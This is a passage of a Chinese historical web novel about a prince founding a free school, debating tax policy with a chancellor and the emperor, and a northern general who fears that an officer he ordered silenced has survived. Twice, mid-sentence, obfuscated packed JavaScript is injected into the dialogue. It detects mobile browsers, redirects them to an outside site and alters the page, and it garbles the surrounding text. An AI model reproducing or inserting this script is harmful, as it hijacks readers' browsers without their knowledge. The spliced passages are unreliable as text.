前宁王如今的空镜寺主持,同时也是先帝二皇子摇光此时就坐在赵毓对面,正闭目念经。他手中一串菩提念珠,一颗一颗的在手指上拨过。 并且。 随着赵毓说话,他越拨拉越快。 …… 最后,赵毓说,“当然,劳动老二你一趟也不容易,你也可以顺道传传教,我是不会阻止的。你可以把唵、嘛、呢、叭、咪、吽刻在钵盂的底部,这样可以镇邪。” 摇光睁开双眼,看了看不远处正在吃斋饭的文湛。 而皇帝根本没有注意到这里。 他一直很端正的坐着,很安静的吃着酱菜,喝着米粥,连咀嚼都是静寂的,像尊传世的玉雕圣像。——似乎昨晚修炼欢喜禅的那个凡夫俗子,不是他一般! “祈王爷。”摇光,“你为什么会坚信,我会帮你烧造这批钵盂,并且不收任何银钱?” “因为,你在修行啊!”赵毓大言不惭,“修行,修行,一边修,一边做些事情嘛。我们这是公学,不收束脩的,所以老二,你捐一些吃饭用的钵盂,也是大功德哦,以后会有福报呦!这次的功德全部给你,可比你烧多少高香都管用哦。我们是兄弟,我才照顾你,别人哭着喊着求我,我都不答应呢。怎么样,我没白来吧,你是不是很开心?” 前宁王摇光,“……” 赵毓下山后,等了好多天,空镜寺的粗陶钵盂终于还是送到雍南公学。 春寒料峭,已经伪装的比书生还要酸涩腐朽的崔侯爷,一只手摇着一把湘妃竹扇,另外一只手举着一个钵盂把玩。 “器型不错,这个釉料也不错,看颜色应该是孔雀琉璃釉。咦,居然还有小泡,这难道就是加入玛瑙后的’寥若晨星’?空镜寺不愧皇家寺院,手艺果然不同凡响。” 赵毓看了一眼,“那是釉料没弄好,水没烤干弄的泡。” 崔珩,“……” 管后厨的仆役把粗陶钵盂发下去,一个学生一个。晌午放饭的时候,每个人都捧着一个钵盂,连菜带饭一起装。 省事。 薛宣平让摇骰子的老六去邻家的赌坊,把罗金梁的地契也拿了回来。赵毓比照着对付吉王的方式,也以这样的方式把地契还给了罗家,时间也是三十年。只是,他每年要收罗家一成的利,并且地契质押在薛宣平那里,省的罗金梁下次再出什么幺蛾子。 开春之后,薛宣平无缘无故的晕倒一回。 赵毓找了姓薛的大夫给他仔细瞧了瞧,那个大夫一直摇头。 “怎么,没救了吗?”赵毓很是着急。 “毛病倒是不大,……就是忒多。” 薛大夫掐着山羊胡子,“气短胸闷,全身浮肿,时常口渴,全身乏力,终究都是一个缘由,——胖!如今虽然是太平盛世,可大郑全境之内时不时闹个旱灾水灾,过年能吃上饺子都是不错的人家,消瘦的多,富态的少。可是,像薛老爷这般,长成如此胖大,着实罕见,着实罕见。我开个药方子,抓了药,按时吃就好,不过这倒是其次,最重要的就是忌口,忌口,忌口!” 赵毓,“……” 送走大夫,薛宣平躺着床上,把一张宽大的千工拔步床挤压的满满的,赵毓这才发现,老薛胖的是有些离谱。 “以后忌口吧,如果你还想多活几年。” “老赵,你昨晚吃的啥?” 虽然不知道赵毓确实的老底,不过他知道,老赵至少是尹家的女婿。尹氏西北巨宦,曾经是手握重兵的“藩镇”,俗话说,一代看吃,二代看穿,三代四代看文章。人家尹明扬本身就是科甲正途出身的进士,文章一定好,家中吃的也一定好。 赵毓想了想,“熬了点米粥,我让他们从坛子里面取了点酱瓜,又切了一盘细细的萝卜蓉,用去年酿的枇杷醋拌了拌。哦,还蒸了两根山药。” 薛宣平,“……” 赵毓,“问我这干啥?” 薛宣平,“也没啥,我就是想知道你们这样的王侯将相平时都吃啥。” “大家都是一张嘴,吃的不都是这些吗?”赵毓,“那你昨晚吃啥?” 薛宣平,“先用一炖盅大排翅漱口,然后用三斤黄焖鲍鱼随便拌了点白饭,又加了一罐子佛跳墙。” 赵毓,“……” 原本留园就有不错的药膳厨子,赵毓给薛宣平发了过来,专门给他做清口的素斋吃。 如今,元承行的厨房里面每日里都是清粥小菜。 不到一个月,薛宣平吃的舌头发淡,脸色发白,两眼发青,不但看着别人养的鸡双目如电,后来,就连别人家的狗都是看到眼中拔不出来,那条狗就是在他面前路过一趟,薛宣平盛满了酱瓜的脑袋中,已经把人家扒皮红烧了一百遍。 不过,人到真瘦了三圈,似乎,也清爽了。 人清爽了,似乎就喜爱走动走动,不知道怎么了,薛宣平就溜达到北村。如今到了惊蛰,春雷响,万物长,他得去看看姓罗的那一家有没有好好过活?不管怎么说,把这个罗金梁陷入大牢,当初也有他一份功劳。如今他也是吃斋的人,有事没事少做点孽,或者多少补救补救自己之前的业,也是积德。 “老赵,我发现一个有意思的东西。”薛宣平连夜从北村回雍京,用小布袋带回来一袋稻谷,“你看,这是啥?” 赵毓抓出来稻谷,绿色,晶莹剔透,犹如一粒一粒碎裂的上等翡翠。 ——玉碎珍珠? 薛宣平,“北村距离绮镇不远,天气土壤都是相似的,本来可以种玉碎珍珠不稀奇。可令人意外的却是,这里的土是酸的,后面还有高山,顶峰有雪,村子又有东河流淌而过。那里比绮镇更适合种玉碎珍珠。老赵,你看,这是农人偷偷弄的稻米种子,偷偷种的,米粒更圆更大更剔透,比绮镇最好的米还要好上一等。” 赵毓细细捻着米粒。 薛宣平说,“咱们把北村的地全部征过来,就种玉碎珍珠,收成可比他们随便乱种那些普通稻米玉米荞麦土豆什么的好,好得多,好的多得多!不说别的,罗家的地里要是都种这个,肯定不用等三十年,不出十年,他一定可以把押在我这里的地契拿走。” 赵毓,“随意征地,这是犯大忌讳的。” 薛宣平,“你也不敢做?” 赵毓,“我不能做。” 薛宣平犯了难,他那个饿了一个多月的脑袋里面像被鞭子抽打的陀螺一样飞速旋转着,不一会儿,他好像看见了一束微弱的光! “老赵,咱们不征地,元承行买他们土地的种植权。” “虽然元承行拿了钱,可是地契还是人家的,但是,地面上长什么,要咱们说了算!” 赵毓拎着那袋子稻谷就向外走,薛宣平跑了一夜,又饿,此时像条狗一样。赵毓让他歇着,他自己去了留园。 内廷的账房在,楚蔷生居然也在。 文湛要重塑税制。 原本大郑的赋税遵循的是前朝旧例,税赋来源不过是土地,边境的茶马贸易,开中盐法,还有,在非常严苛控制之下的东南海上贸易。这些年,因为西北连年的战争断绝了茶马贸易,朝廷的赋税大头就只是土地。 土里刨食,温饱尚可,别的,就是奢望。 皇帝想要改变这些,想法有,但是具体实施方略并不成型,诸如,如今天下一年税赋几何,出自哪里,以后要改什么,怎么改,这些都是模糊的,此时绝对不能放到内阁、六部合议,会掀起滔天巨浪不说,不成型的想法就像婴儿,骤然抛出,一定会夭折。所以,楚蔷生先与内廷的这些账房核算清爽,再制定一个基本成型的方略,此时放出去,就如同长大的孩童,虽然稚嫩,历经风雨却会成长,而不是死亡。 留园正合适他们做这样的事情。 赵毓一看有熟人,连忙抓过来一个老太监,抛出来几个数,问,“廖爷爷,您大略给估算一下,如果北村的土地全部弄下来,种玉碎珍珠,一年,大约要多少银钱?如果实在太贵,我们手中没这么多流水,我还可以它的收成为由头,在坊间发一些债票。玉碎珍珠是好东西,价格高昂,翻倍赚钱,这种债票好卖。” 这位内监年纪大,七十多岁,姓廖,记性却极好。 他原本就是先帝的内廷账房首领太监,当年先帝给赵毓的花销兜底,很多账目都从这位廖太监的手里过的。 廖太监与赵毓熟悉。 此时,听赵毓如此问,廖太监不估算,却先是倒吸一口气,才说,“玉碎珍珠,这样的米,普通农人是吃不起的。” 赵毓,“我表哥说过,卖油娘子水梳头。他们吃不起玉碎珍珠就吃不起吧。” “同时,也是吃不饱的。”廖太监,“农人辛苦一年,却吃不起自己田土中产的米,这有伤天和。” 玉碎珍珠虽然价格高昂,却产量极低。干体力活的农人以它为主食,只够吃半年,后半年就得喝西北风。 赵毓,“他们可以卖掉玉碎珍珠,买更便宜的米吃。一口饱饭,还是能吃到的。剩余的钱,还可以买鱼买肉买虾米,给闺女做嫁妆,给儿子盖瓦房买女人生儿子。不就是吃不上玉碎珍珠,这有什么伤天和的?” 楚蔷生原本一直喝茶,此时忽然起身对廖太监说,“天色不早,蜡烛之火虽亮,却非白日之光,伤眼。廖司账双目极珍贵,也请多多保养。不如,我们今天就到这里,可好?” 廖太监知道楚蔷生与赵毓有话要说,不方便外人在,他自然知情识趣,“楚阁老这是嫌我老了。” “哪能呢?”赵毓赶忙过来,作势要搀扶他,“廖爷爷,我扶着您走,别摔着。” 廖太监袖子一挥,挥掉赵毓的爪子,“大殿下,您还是放手吧。您这哪是搀我走,这简直就是扯着我走,我要是走慢了,这老胳膊老腿的,还不被您扯折了?” 等他走后,赵毓拎着壶给楚蔷生倒了茶,“左相大人,您有什么私房话要对我说?” 楚蔷生拿着茶盏,接了水,才说,“记得当年在毓正宫,我给你讲过《盐铁论》,其中就有一段:古者之赋税于民也,因其所工,不求所拙。今释其所有,责其所无。百姓贱卖货物,以便上求。” “嗯,对。”赵毓点头。 楚蔷生,“这是暴|政。” 赵毓,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“丝绸比粮食,价格更高,可以缴的税更多。” 楚蔷生,“如何抵御天灾?” 赵毓,“四川,琼州,南粤,中原,关东等地有充足的粮食,陆上,水上,海上有四通八达的运粮通道。那样,不但江南受益,我们眼前的北村也受益。江南可以继续种桑麻,卖更多的钱,缴更多的税,而北村那里也可以种玉碎珍珠,卖更多的钱,农人收益更多,也可以缴更多的税赋。” 楚蔷生喝了茶,忽然笑了,“可是,建这些运粮通道,不止可以运粮食,还可以运一些别的货物,可以使大郑全境东西南北都通达。这些,每年需要养护,还有人吃马嚼的费用,要很多银钱,现在户部无法担负这笔支出。” 这是一个鸡生蛋,蛋生鸡,鸡又生蛋,蛋又生鸡的故事。 赵毓试探着问了一个对于他来说异常不合适的问题,“朝廷的赋税,是不是太低了?” 税赋太低,修不了路,疏通不了河道,养不了官,养不了兵。 如果有个风吹草动,甚至是深渊巨浪,朝廷也只能无可奈何的采用“让睡着的狗继续沉睡”这唯一可行的招数,慢慢窒息。当然,翰林名仕们还可以再粉饰一张大大的珐琅彩面具,——治大国如烹小鲜。 老子如果泉下有知,一定会凿开自己的棺材板,直接跳出,以他那简单却包含宇宙的雄文,把泼到自己身上的脏水,化成滔天巨浪,席卷天下。 可是,如果提高税赋,…… “轻徭薄税”,一向是列祖列宗的成法,如有违背,人神共弃之。 楚蔷生只是低头喝了一口茶水。 赵毓,“蔷生,你觉得,税赋高好,还是低好?” 楚蔷生,“合适,最好。” 回到宫里,寝殿文案上已经摆好了今日描红用的字帖,朱砂在华彩琉璃灯下,像割掉猎物的咽喉,流淌出的鲜红热血。 赵毓已经可以自己拿笔描了,不用文湛手把手的教。 皇帝依旧在微音殿。 想来,最近北境已经不太平到了极点。 赵毓描好了三张,文湛才回来。他一进来,径自到赵毓身边,侧面在他嘴角亲了一下,……,随后,竟像被蜂蜜黏住一样,再也离不开了。绵密的亲吻一直延续着,像是极细的溪流,在丰茂的林中,伴着百花的香气,潺潺流淌着。 “皱了,皱了,这是还没有描的朱砂字帖,……”赵毓细声。 “我再给你写,……” 文湛说着,把赵毓的身子转了过来,面对面的抱起来。自从在空镜寺上修炼了三晚上的欢喜禅,皇帝就喜欢上了这样的姿势,极沉迷。 “兰花的香气。”文湛忽然说,“你口中有奇怪的茶叶味道,喝什么了?” “芝兰玉树。”赵毓赶忙坦白,“我今天回了留园,见到楚蔷生,他那里有两罐子这种茶,给了我一罐。柳芽已经准备好了水,一会儿给你泡。” 文湛,“见到他?” 赵毓,“嗯。看到他在留园,我特别意外。” 文湛,“说了什么?” “他那么谨慎,有什么能说的。不过,我们聊了聊别的。”赵毓把今天的事情大略说了说,“陛下,您说,税赋高好,还是低好?” 文湛,“公平最好。” 然后,他又说,“当然,能收的上来,最好。” 赵毓,“怎么说?” 文湛,“富有的多缴一些,穷苦的少缴一些,这样最好。如果世家大族田连阡陌却免税,百姓几亩薄田温饱尚且努力挣扎,却必须扛起朝廷大部分的税赋,则不好。这样是否合乎天理人情先不说,只说实际,只说眼前,倘若过分压榨民力,涸泽而渔,朝廷事实上也收不到赋税,不是长治久安之计。” “不患寡而患不均。” “圣人教诲,还是要听的。” 赵毓想了想,“呃,我记得有位富商巨贾说过,世人最浅陋的一点就是不患寡而患不均,并且就因为这点子’浅陋’,会让所有人都穷。” 文湛,“这个人肯定是’不均’当中‘多’的那一边,而不是‘寡’的那一边。” “微臣愚钝!”赵毓山呼,“主上圣明!!” 说着,他双手搂住文湛的肩膀,被抱到床榻上。 至于那几张没有描红的纸张则飘落到地板上,轻轻覆盖了太湖金砖,像几叶孤舟,随着水波动荡,轻缓的摇着,显出旖旎的姿态。 北境。 原甘宁总督,如今的北境统帅徐绍,手中是大郑北方屏障,本应心中具是军国大事,此时的他却不安的等待一个自己嫡系探子的回报。 那人的奔马一入边城,立刻被带到帅府行辕。徐绍不容他跪地,赶忙追问,“怎么样?人抓到了?” “大帅!”探子一脸风霜,“卑职一路向南追,……” 徐绍,“杀了?” “根本没见到人影。”探子苦着脸,“如果程风没有死在半道途中,就是活着进了雍京!” 为了掩盖“那件事”,徐绍下密令灭口北路参将程风。可是自己的人却杀在了程家满门十三口之后,唯独走失了正主。斩草不能除根,却结下血仇。一条冤魂织就的路,徐绍与程风,一人站在一边,势必不能善了。 北方边境数百年的不太平,徐绍一生戎马倥惚,列土封侯,对于灭国屠城这样的事情做的不少,铁血半生早就把他炼造成铁石心肠。对于常人来说,“灭口”是泼天的大事,而对于徐总督来说,不过是一件没有善后的“小事”,在他心中,这是水过地皮湿,几乎不疼不痒。 他不怕敌国,不怕百姓,不怕同僚,不怕言官,不怕阴司,也不怕轮回,更不怕一切虚无缥缈的报应。 徐绍唯一惧怕的只是圣主震怒,因为,皇帝才是他一切权力的根基。 幕府中有精通刑名的老夫子,刑冯,他劝徐绍,“东翁不必过于殚虑,这位程参将就算侥幸能活着进了雍京城,势必托关系去喊冤。可我们在雍京的线报又是风平浪静,他也许当真葬身荒野了,只是东翁的人马稀疏,没有搜到而已。” “再说。”冯老夫子宽慰他,“东翁圣眷正隆,北境此时用人之际,大战在即,圣上断然不会为了一个无名参将而处分大帅。” 徐绍与程风,北境与死人,孰轻孰重,但凡会权衡的人一眼就会明白,更不要说今上了。 今上是不世出的圣主,权术手腕极高,并且熟识用人之道,断然不会为了一个无名参将而自毁长城。 此时,北风呼啸而至,直刮进帅府行辕。 徐绍不知怎么的,打了一个寒颤,一股阴冷的气息,从后脖子侵入,一直到脊柱,到心,到四肢百骸,如同千万冤鬼束缚。 一瞬间,堂堂徐总督竟然也有些一些悔意。虽然,很轻,很淡,而且消逝的异常快,完全没有遗留下任何痕迹。 110. 110 110 寒食节。 清明之前。人间佳节惟寒食,这一天禁烟火,将冬天保存下来的火种熄灭,直到清明再钻木取火,且将新火试新茶。 雍南公学放假,学生们跟随自家长辈去扫墓,赵毓趁着这个空档,将书院好好整修一番。他还让薛宣平从元承行拿些笔墨纸砚过来。薛宣平赶着马车到了南城,眼前是一个破落的院子,对面则是一个大澡堂,用大锅烧水,顶上还冒着白气。 他让人卸车,一进门,就看见赵格非在门框上插柳枝。 赵家这位女公子是男装。 头发用绸子扎了个四喜丸子,身上穿一件长衫,腰间垂着玉佩,丝绦上挂着一个小布袋,用来随手装书本用的。 布袋上绣着一行字‘谢氏书院’,一看就知道是名震天下的谢氏的弟子。 垂玉佩是士族的传统,而这个书袋则是标志着清流豪族认可的身份,不知道是‘西北王’的面子,还是赵毓本人的面子? “少东。” “薛先生。”赵格非招呼他,“您到后面喝点冷茶。” “您这是做啥?” “我爹写了几幅字,让我挂一下。” 说着,赵格非身后有个人扛着个梯子,在照壁上凿了两个洞,插|入两个木头椽子,上面挂着一个横匾,端正的楷书写了一行大字: ——好好读书,天天吃肉。 薛宣平,“……” 他把货托付给赵格非就走进院子,随即发现里面整修过,正经不错。草木都种了起来,虽然尚在早春,却已经开始有绿油油的苗头了。书院中各个廊柱上也挂着新牌子,都是赵毓的字,诸如: 人扑到书本上,犹如灾民扑到窝头上。——沙老翁 读书就是与往昔的圣贤唠嗑。——笛子 书本拥有盖世神功。——列子 …… 接下去,才是一些古代圣贤名言,与一般书院无二,也是赵毓的笔迹,诸如: 学而不思则罔,思而不学则殆。——孔夫子 读书破万卷,下笔如有神。——杜夫子 黑发不知勤学早,白发方悔读书迟。——颜夫子 读书要趁早,莫等闲,白了少年头,空悲切。——武穆王 进入正堂之前,是一个木牌,上面则写着《礼记·大学》中一整段话,‘物格而后知至,知至而后意诚,意诚而后心正,心正而后身修,身修而后家齐,家齐而后国治,国治而后天下平。’。这是魏碑体,与赵毓的笔迹有七八分像,功力却远在其上,犹如万仞山峰屹立不倒,足以传世。 正堂之上挂着一个二个字的木匾。 匾额不大,甚至没有刷漆,只刷了一层桐油,简陋中透着一股子气势,似乎比方才那块写着‘修身齐家治国平天下’的木牌还要恢弘。 ——大、正。 “咦?”薛宣平看着这两个字,“这个像写‘元承行’招牌的那位高人的书法,似乎笔力更……”说不出来的一种感觉。这个人的书法似乎比之前写的更重,却收了外露的锋利,反而显得更平和了。 薛宣平读书不多,对于书法连半路出家都不算,只不过倒卖古董而粗略学了一些。同时,他又是那种不学有术的人,对于挣钱的门路上一点就透,所以,他对于书法虽然看不出细致精妙的地方,可是大致能卖多少钱,却心中有数。 ‘修身齐家治国平天下’的木牌可以传世,价格必然不低,卖进清流世家,那价格比目前的坊间的价格要翻上一倍,如果是侯门公府要买,估计再翻一番。 ‘元承行’,三个字写的比挂着它的那幢四面八角楼值钱! ‘大’、‘正’,仅仅这两个字,恐怕可以把雍南公学这个院子连同周围的地全部买下来,也许,还不止。 薛宣平一进屋子,就看见赵毓右手握着一只墩布一样的笔,正在悬腕写大字: ——雍南公学。 每个字写的如同蒸馍时候放多了老面肥,膨胀的不像个样子。 果然,赵毓写完一张,揉一张,写完一张揉一张。此时,他身边已经扔了许多纸团,而与他一直形影不离的那个小白脸则安静的坐在一旁抄写字帖,抄的是《千字文》之类这些启蒙书本,他用浅色的红墨,写的是正楷,握笔却是左手。 “小哥也在啊。”薛宣平凑过去。 文湛一收笔看了他一眼,“薛先生清减了。” 赵毓的厨子只听赵毓的话,清粥小菜做了一个月,把薛宣平的水泡气饿了下去,随后开始给他做一些藜麦饭,清水煮土豆,清水煮红薯,清水煮大白菜,清水煮大萝卜,和清水煮没有黄油的鸡。 薛宣平威逼利诱也不能让他给炖上一锅红烧肉。 所以。 他瘦了。 如今的薛宣平像个粗壮的汉子,而不是之前连元承行大门也挤不进去的三百斤的大兔子。 薛宣平,“这都是老赵那个厨子的功劳。我特别感谢他,真的。” 文湛听着一挑眉,赵毓又揉了一张纸,“你这句谢谢怎么好像从牙缝中挤出来一样,说着如此咬牙切齿,似乎与我有杀父之仇,夺妻之恨。” “拉倒吧。”薛宣平则说,“我爹当年被我娘一斧头砍死,我们娘俩才过了几年舒心日子。至于我老婆,我现在还不知道她在哪个嘎啦里面猫着呢。老赵,少东在外面,你让我带的墨和纸张到了,我让她帮着盘点一下。” “嗯。”赵毓端了一个钵盂过来,里面是断火之前煮的茶,“给你,润润。” “老赵,你为啥弄个书院?”薛宣平死活搞不明白,“这是读书人干的事。你要是觉得赚的黑心钱太多,索性捐个龙王庙啥的,又实用又有功德。这个书院弄的累死累活不成,还养着一堆小萝卜头和一堆穷酸,实在麻烦。” 赵毓写了一早上的字,手腕抽筋。此时,他也端了一个钵盂,装着凉掉的桂花老铁,幽幽的开口,“我仰望夜空,思绪万千。总觉得这方天空是人间的倒影,记载了无数的伟烈丰功弹指成空,万间宫阙都作了土,亿万生灵化为枯骨。最后,一个一个曾经彪炳史册的名字消逝无影无踪,而人间可以流芳百世的只有文章和书籍,因为它们标识着,这片土地上,我们曾经活过。” 薛宣平,“……” 崔珩在门外下马,随后,从后腰上抽出来一把湘妃竹扇,摇晃着进了雍南公学的大门。 赵格非挽着宽大的袖子,手持鸡毛掸子,正在给每个木牌掸灰尘。她看见崔珩进来,稍微显得恭敬的问候了一声,“表叔。” “为什么你一直叫我表叔?”崔珩不解,“大小姐应该叫我表伯父。” 赵格非,“六叔一直在。” 崔珩摇晃了几下扇子,“所以?” 赵格非,“六叔为尊。” 崔珩刷拉一下子合上扇子,“明白。” 皇帝为大,他既然一直都是‘六叔’,其他人怎能是‘伯父’,岂非僭越? 随后,他站在赵格非身后,仔细看了看廊柱上挂着的各个木牌,又摇着扇子道,“你爹这笔字,真是多亏了楚左相。当年我已经不在毓正宫读书了,对那些侍读学士的小心思还是明白的,他们都是聪明人,聪明人做的事情总是聪明的。他们自以为可以揣摩圣意,认为只要不出大事,不用费心血去教导一个注定与皇位无缘的庶出皇子。而陪着皇子玩耍,比教导他一些真正有用的东西更能固宠。” “楚蔷生就不这么想。” “从这里看,楚左相也不是什么聪明人。” 赵格非看着他说话,两只眼睛极认真,一瞬不瞬,手中的鸡毛掸子一直扫着灰尘,像一只很乖巧的猫,却会举着东西自己打扫廊檐瓦舍。 崔珩忽然乐了。 赵格非手中的掸子摇晃了一下。 崔珩这位以‘外戚’身份上位的三等候,原本在军中的名声极差,尤其在西北这样一直抵挡西疆十六国游牧外族兵马的粗糙兵痞当中,名声更差。大家都以为他不过是扯着女人裙带子的窝囊废,不学无术的少爷兵。他本身也的确细皮嫩肉,貌似江南清秀小生,同时精通音律,还会票戏,活脱脱章台走马,千金买笑的混蛋。 自从他东南平叛,将播州,泸州等苗瑶混居、当地土王割据的大片土地归化,宁淮侯的名号在军中越叫越响。人们又说,如果不是他‘外戚’的身份,他封个国公也应当。‘外戚’身份虽然贵重,却是与皇家有亲戚关系的人,即使国之柱石,也难脱皇帝私人的干系,总觉得并不如科甲正途出身的大臣堂堂正正。因而,在敕封王爵的时候,总是稍微降一降格。真是成也外戚,败也外戚。 可是,不管崔珩的名声好也罢,坏也罢,他都是一个不好惹,也不能惹的人。一张面皮白净净,经常皮笑肉不笑,让西北老兵痞头皮发麻,总是念叨着那句老话,‘小白脸子,没好心眼子。’ 第一次,赵格非见崔珩,也是这个想法。 后来,他们见的次数多了,她逐渐熟知了一些崔珩的为人,暗暗想着,——老兵痞的话不对,崔珩不是他们口中的人。 因为,老兵痞们,还是,过于,……厚道。 崔珩此人的阴险狡诈的程度,远远超过西北那些粗糙军汉的想象。 “大小姐,你看着我作甚?” “表叔,我爹正等着您的雕版。”赵格非继续挥动着她手中的鸡毛掸子,“您进屋喝盏冷茶吧。” 赵毓想在雍南公学这里建造一间巨大的藏书楼,将经史子集,七坟八典,甚至是世情话本,农,药,医,乐,天文历法,风水看穴再加上阴阳算命等闲杂书本放入楼中。如果是宋本,珍本,善本什么的,到不是说一定没有,但几乎都是大本堂珍藏,随意搬挪有违祖制不说,万一有损毁则是千古遗憾。所以赵毓想要按照原本进行复刻,并且每本都要复刻几本,方便学生们随时借阅翻看。 海量的书本,手抄复刻,则需要大量的人力物力,实在劳民伤财,赵毓选择的是雕版复刻。这些雕版制作完毕之后,妥善保存,以后在恰当的时候拿出来,可以继续印书。至于普通老百姓是否认字,是否看得懂这些珍宝,这是后话,先将宝藏亮出,使其不会继续被极少数人把持,则是当务之急。 这件事情不能官面上的人做,崔珩原先在制造局,认识一些回乡的老匠人,他去寻访了十几位专门做雕版的工匠,重金请出山门,回来雍京复刻书本。那些老匠人原本是雕刻佛经的人,本身大多也信奉佛祖,为人性子温和,再加上长年茹素,即使到了古稀之年依旧耳聪目明,却比年轻工匠少了浮躁。 此时,赵毓送薛宣平出来,“老薛,你回去把绮镇的地契好好整整,过段时日,咱们要去那里看看。玉碎珍珠虽然播种的晚,要等谷雨之后,现在也要好好准备了,不然,今年人心惶惶的,我怕影响收成。” 薛宣平见到崔珩,他见过他,却不认识他。不过他是生意人,秉承‘多个朋友,多条路’的原则,想要过来打声招呼,崔珩却像是见到瘟神,马上挪开身子,让开一条宽广的大路,让他速速离去。 薛宣平,“……” 赵毓见他离开,招呼崔珩进屋。 崔珩带来两块杜梨木,翻刻的是《左传·宣公十二年》的一页,他到回廊的时候从布袋中拿出木板,正好看到那句话,——‘君以此始,必以此终’。 这是当年杜玉蝉送给他的话。 犹如一句箴言。 赵毓接过去这两块木头,翻来覆去的看了看,“手艺真好!这些老师傅我到年底每人给十两银子,然后给他们找个宽敞的地方住,派个做饭的厨子过去,专门伺候他们伙食。一日三餐,外加一顿宵夜,另外再加一盅炖汤,包管他们,……” 崔珩接话茬,“不到一年,绝对见阎王爷。” 赵毓,“不至于吧。” 崔珩,“这些老家伙常年吃素,你的厨子做的东西要卖钱的,味道太重,吃多了会出事。这些你别管了,只管年底的银钱,其他的,我管就得了。” “好的。”赵毓从善如流,“现在坊间书本昂贵,主要是纸贵。还有,给这群萝卜头练字绝对不能用宣纸,那东西号称‘千年寿纸’,写一百个字,废一沓子,毓正宫用得起,雍南公学用不起。我让人从南边找造纸的师傅,看看用雍京周围的芦苇杂草什么的能不能造些纸张,不求好看,也不求传世什么的,只要能用,便宜就好。” “嗯。” “老崔,你写大字的手艺没丢吧。” “咋?” “给我写块匾。”赵毓有些垂头丧气,“我练了快仨月了,这笔字就跟开水泡涨的窝头一样,根本拿不出手。” 崔珩,“你左手又没废,左手写。” “我左手写的字太像楚蔷生的字了。”赵毓有些苦恼。 “怎么,你怕有心人认出来,给楚左相添麻烦?”崔珩嗤之以鼻,“他写的‘修身齐家治国平天下’的木牌就在眼前,要是有心人早就认出来了,不在乎再多一块匾额。” “其实,……不是这个原因,……而是,……”赵毓有些支支吾吾。 崔珩眼眉一挑,“狼崽子不愿意?” 赵毓,“……” 崔珩颇有些恨铁不成钢,“你现在怎么变得这么窝囊?” 赵毓只能抓了抓头发,把原本就有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728968|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绒的头发抓的更乱了些。还能怎么着,窝囊就窝囊吧,家家有本难念的经。 崔珩,“我写的东西就能用?” 赵毓,“你很久没写字了,旁人不认得。只要你现在手艺没丢,写的出来,就挂的出来。我记得,小时候见过你写字,挺好的。” 崔珩,“写哪几个字?” “雍南公学。”赵毓,“这是正匾,要挂在书院的大门上,明晃晃的招摇过市。” “那成,我回去试试。”崔珩把木牌拿了回来,装入布袋。 晌午吃饭的时候,都是赵格非,崔珩,还有赵毓和公学的伙计和被宁淮侯称为‘穷酸’的先生们在饭堂一起吃的酱菜凉饭。 大家吃完散伙。 先生们回自己的院落午睡。 公学后面有河,赵毓让崔珩带着赵格非去钓鱼,晚上熬汤,他自己拿着钵盂盛了些饭菜,还有一个粗陶碟子,里面装了几块荞麦酥,用木盘端着,回到后面。 书房中,文湛依旧在写字帖,这些是给学生们描红用的,所以不能写的太好,也不能写的太差。写太好了,容易被人偷走卖钱,写太差了,容易把学生们的字练歪。于是,文湛改用左手抓笔。 字帖写的很工整。 他人也安静,凝神静气,致使周围的气息也略显凝滞。 其实,赵毓让宁淮侯写正匾,文湛千万个不愿意,只是,这个不愿意的缘由过于憋气,根本说不出口。于是,千言万语化成一句话,——崔珩不学无术,写字难看。 “物以类聚。”文湛放下笔,才说,“这位崔姓三等候用的幕府写的折子都错字连篇,他本人还抓的住毛笔吗?” 赵毓把木盘往木案上一放,“不管怎么说,老崔是公学的功臣。现在有先生了,不用他了,可是在刚开始的时候,所有文课都是他一个人教的,为了这,他把那些启蒙用的书本嚼碎了,一点一点喂到学生们嘴巴里面的。这些年他就算再不学无术,再阉割自己的本事,写块匾的功力还是在的。” 文湛,“哼。” 赵毓,“吃点东西。” 文湛,“不吃。” 赵毓,“吃点吧,都写了多半天了,你不饿?” 文湛,“不饿。” 赵毓,“我给你偷藏了两块荞麦酥哦,宫里的御膳可做不出来这样的西北乡村小点心哦,很甜哦。” 文湛规制了一下木案上的纸张,伸出来一只手。 结果,等了好久,玉白色的手心上都没有落下赵毓口中那个甜蜜美味难得的荞麦酥。 他扭头,就觉得嘴唇上一热,赵毓把荞麦酥径直喂到他的嘴巴中,以亲吻的方式。——果然,很甜。 河水边。 赵格非认真的把抓到的虫子穿到鱼钩上,扔到水中,双目圆睁,看着水面,等待有鱼儿愿者上钩。 崔珩则躺在已经露出青色的草地上,嘴巴中叼着一根芦苇草,翘着二郎腿,正在看天。 “表叔,您不钓鱼?” “你钓就好。” “难道您不会钓?” “我沿着河床子摸鱼的时候,你爹还穿开裆裤呢!”说着,崔珩起身,盘腿坐着,看着水面,“冉庄就在白洋淀边上,你不知道?” “不太清楚。”赵格非道,“我一直以为只有南边的人水性才好。” “冉庄人水性也好。”崔珩说,“冉庄人野性,好斗。一百年前大郑闹倭患的时候,有些东瀛倭人窜到冉庄,就被冉庄人收拾的够呛。当年,那些老祖宗们挖地道,在地道里面灌入水火,让倭人有来无回。老百姓自己尿罐子做火雷子,埋在土里,专门炸那些探路的倭人,虽然威力比火铳差,却能杀人。” 赵格非点头,“嗯,我听我爹讲过。” 崔珩来了兴致,“你爹还跟你说冉庄什么了?” “响马,大饼卷肉。”赵格非想了想,“直隶总督署和官府菜,最让人难忘的就是一味黄焖鱼翅。” 崔珩听着就乐。 “还有。”赵格非,“冉庄人通音律。” 崔珩却真的笑了,就像是初春湖面冰层炸裂,“冉庄人不通音律。” 